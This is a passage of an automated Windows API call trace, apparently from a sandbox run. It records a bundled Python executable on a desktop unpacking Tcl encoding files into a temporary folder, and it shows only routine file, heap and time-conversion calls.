dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.539] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.539] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.539] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.539] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.539] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.539] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.539] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.539] CloseHandle (hObject=0x10c) returned 1 [0036.540] GetLastError () returned 0x0 [0036.540] SetLastError (dwErrCode=0x0) [0036.540] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.540] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.540] GetFileType (hFile=0x10c) returned 0x1 [0036.540] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.540] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.540] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.540] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.540] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.540] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.540] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.540] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.540] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.540] CloseHandle (hObject=0x10c) returned 1 [0036.540] GetLastError () returned 0x0 [0036.540] SetLastError (dwErrCode=0x0) [0036.540] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312.enc") returned 69 [0036.540] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\gb2312.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.540] GetLastError () returned 0x2 [0036.540] SetLastError (dwErrCode=0x2) [0036.540] GetLastError () returned 0x2 [0036.540] SetLastError (dwErrCode=0x2) [0036.540] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312.enc", lpFilePart=0x0) returned 0x44 [0036.540] GetLastError () returned 0x2 [0036.541] SetLastError (dwErrCode=0x2) [0036.541] GetLastError () returned 0x2 [0036.541] SetLastError (dwErrCode=0x2) [0036.541] GetLastError () returned 0x2 [0036.541] SetLastError (dwErrCode=0x2) [0036.541] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312.enc") returned 69 [0036.541] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb2312.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\gb2312.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.542] GetFileType (hFile=0x10c) returned 0x1 [0036.542] htonl (hostlong=0x464e0100) returned 0x14e46 [0036.542] WriteFile (in: hFile=0x10c, lpBuffer=0x5648f0*, nNumberOfBytesToWrite=0x14000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5648f0*, lpNumberOfBytesWritten=0x4fcd00*=0x14000, lpOverlapped=0x0) returned 1 [0036.544] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.544] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xe46, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xe46, lpOverlapped=0x0) returned 1 [0036.544] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.544] CloseHandle (hObject=0x10c) returned 1 [0036.546] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5648f0 | out: hHeap=0x530000) returned 1 [0036.546] htonl (hostlong=0x30000000) returned 0x30 [0036.546] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.546] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.546] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.546] GetFileType (hFile=0x10c) returned 0x1 [0036.546] htonl (hostlong=0x60615500) returned 0x556160 [0036.546] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a1160, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.546] htonl (hostlong=0x8a000000) returned 0x8a [0036.546] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0036.546] htonl (hostlong=0x8a000000) returned 0x8a [0036.546] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.546] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.546] htonl (hostlong=0xc0000000) returned 0xc0 [0036.546] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc0) returned 0x550600 [0036.546] htonl (hostlong=0x8a000000) returned 0x8a [0036.546] htonl (hostlong=0xc0000000) returned 0xc0 [0036.547] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.547] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.547] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0036.547] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.548] CloseHandle (hObject=0x10c) returned 1 [0036.548] GetLastError () returned 0x0 [0036.548] SetLastError (dwErrCode=0x0) [0036.548] GetLastError () returned 0x0 [0036.548] SetLastError (dwErrCode=0x0) [0036.548] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.548] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.548] GetFileType (hFile=0x10c) returned 0x1 [0036.548] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.548] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.548] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.548] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.548] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.548] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.548] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.548] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.548] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.548] CloseHandle (hObject=0x10c) returned 1 [0036.549] GetLastError () returned 0x0 [0036.549] SetLastError (dwErrCode=0x0) [0036.549] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.549] GetFileType (hFile=0x10c) returned 0x1 [0036.549] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.549] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.549] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.549] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.549] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.549] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.549] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.549] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.549] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.549] CloseHandle (hObject=0x10c) returned 1 [0036.549] GetLastError () returned 0x0 [0036.549] SetLastError (dwErrCode=0x0) [0036.549] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-jp.enc") returned 73 [0036.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-jp.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso2022-jp.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.549] GetLastError () returned 0x2 [0036.549] SetLastError (dwErrCode=0x2) [0036.549] GetLastError () returned 0x2 [0036.549] SetLastError (dwErrCode=0x2) [0036.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-jp.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-jp.enc", lpFilePart=0x0) returned 0x48 [0036.549] GetLastError () returned 0x2 [0036.550] SetLastError (dwErrCode=0x2) [0036.550] GetLastError () returned 0x2 [0036.550] SetLastError (dwErrCode=0x2) [0036.550] GetLastError () returned 0x2 [0036.550] SetLastError (dwErrCode=0x2) [0036.550] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-jp.enc") returned 73 [0036.550] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-jp.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso2022-jp.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.550] GetFileType (hFile=0x10c) returned 0x1 [0036.550] htonl (hostlong=0xc0000000) returned 0xc0 [0036.550] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.550] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc0, lpOverlapped=0x0) returned 1 [0036.551] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.551] CloseHandle (hObject=0x10c) returned 1 [0036.552] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.552] htonl (hostlong=0x30000000) returned 0x30 [0036.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.552] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.552] GetFileType (hFile=0x10c) returned 0x1 [0036.552] htonl (hostlong=0xea615500) returned 0x5561ea [0036.552] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a11ea, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.552] htonl (hostlong=0x6f000000) returned 0x6f [0036.552] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6f) returned 0x55cfe0 [0036.552] htonl (hostlong=0x6f000000) returned 0x6f [0036.552] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.552] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.552] htonl (hostlong=0x73000000) returned 0x73 [0036.552] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x550600 [0036.552] htonl (hostlong=0x6f000000) returned 0x6f [0036.552] htonl (hostlong=0x73000000) returned 0x73 [0036.553] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.553] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.553] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0036.553] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.553] CloseHandle (hObject=0x10c) returned 1 [0036.553] GetLastError () returned 0x0 [0036.553] SetLastError (dwErrCode=0x0) [0036.553] GetLastError () returned 0x0 [0036.553] SetLastError (dwErrCode=0x0) [0036.553] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.554] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.554] GetFileType (hFile=0x10c) returned 0x1 [0036.554] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.554] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.554] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.554] CloseHandle (hObject=0x10c) returned 1 [0036.554] GetLastError () returned 0x0 [0036.554] SetLastError (dwErrCode=0x0) [0036.554] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.554] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.554] GetFileType (hFile=0x10c) returned 0x1 [0036.554] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.554] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.555] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.555] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.555] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.555] CloseHandle (hObject=0x10c) returned 1 [0036.555] GetLastError () returned 0x0 [0036.555] SetLastError (dwErrCode=0x0) [0036.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-kr.enc") returned 73 [0036.555] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-kr.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso2022-kr.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.555] GetLastError () returned 0x2 [0036.555] SetLastError (dwErrCode=0x2) [0036.555] GetLastError () returned 0x2 [0036.555] SetLastError (dwErrCode=0x2) [0036.555] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-kr.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-kr.enc", lpFilePart=0x0) returned 0x48 [0036.555] GetLastError () returned 0x2 [0036.555] SetLastError (dwErrCode=0x2) [0036.555] GetLastError () returned 0x2 [0036.555] SetLastError (dwErrCode=0x2) [0036.555] GetLastError () returned 0x2 [0036.555] SetLastError (dwErrCode=0x2) [0036.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-kr.enc") returned 73 [0036.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.555] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso2022-kr.enc" (normalized: 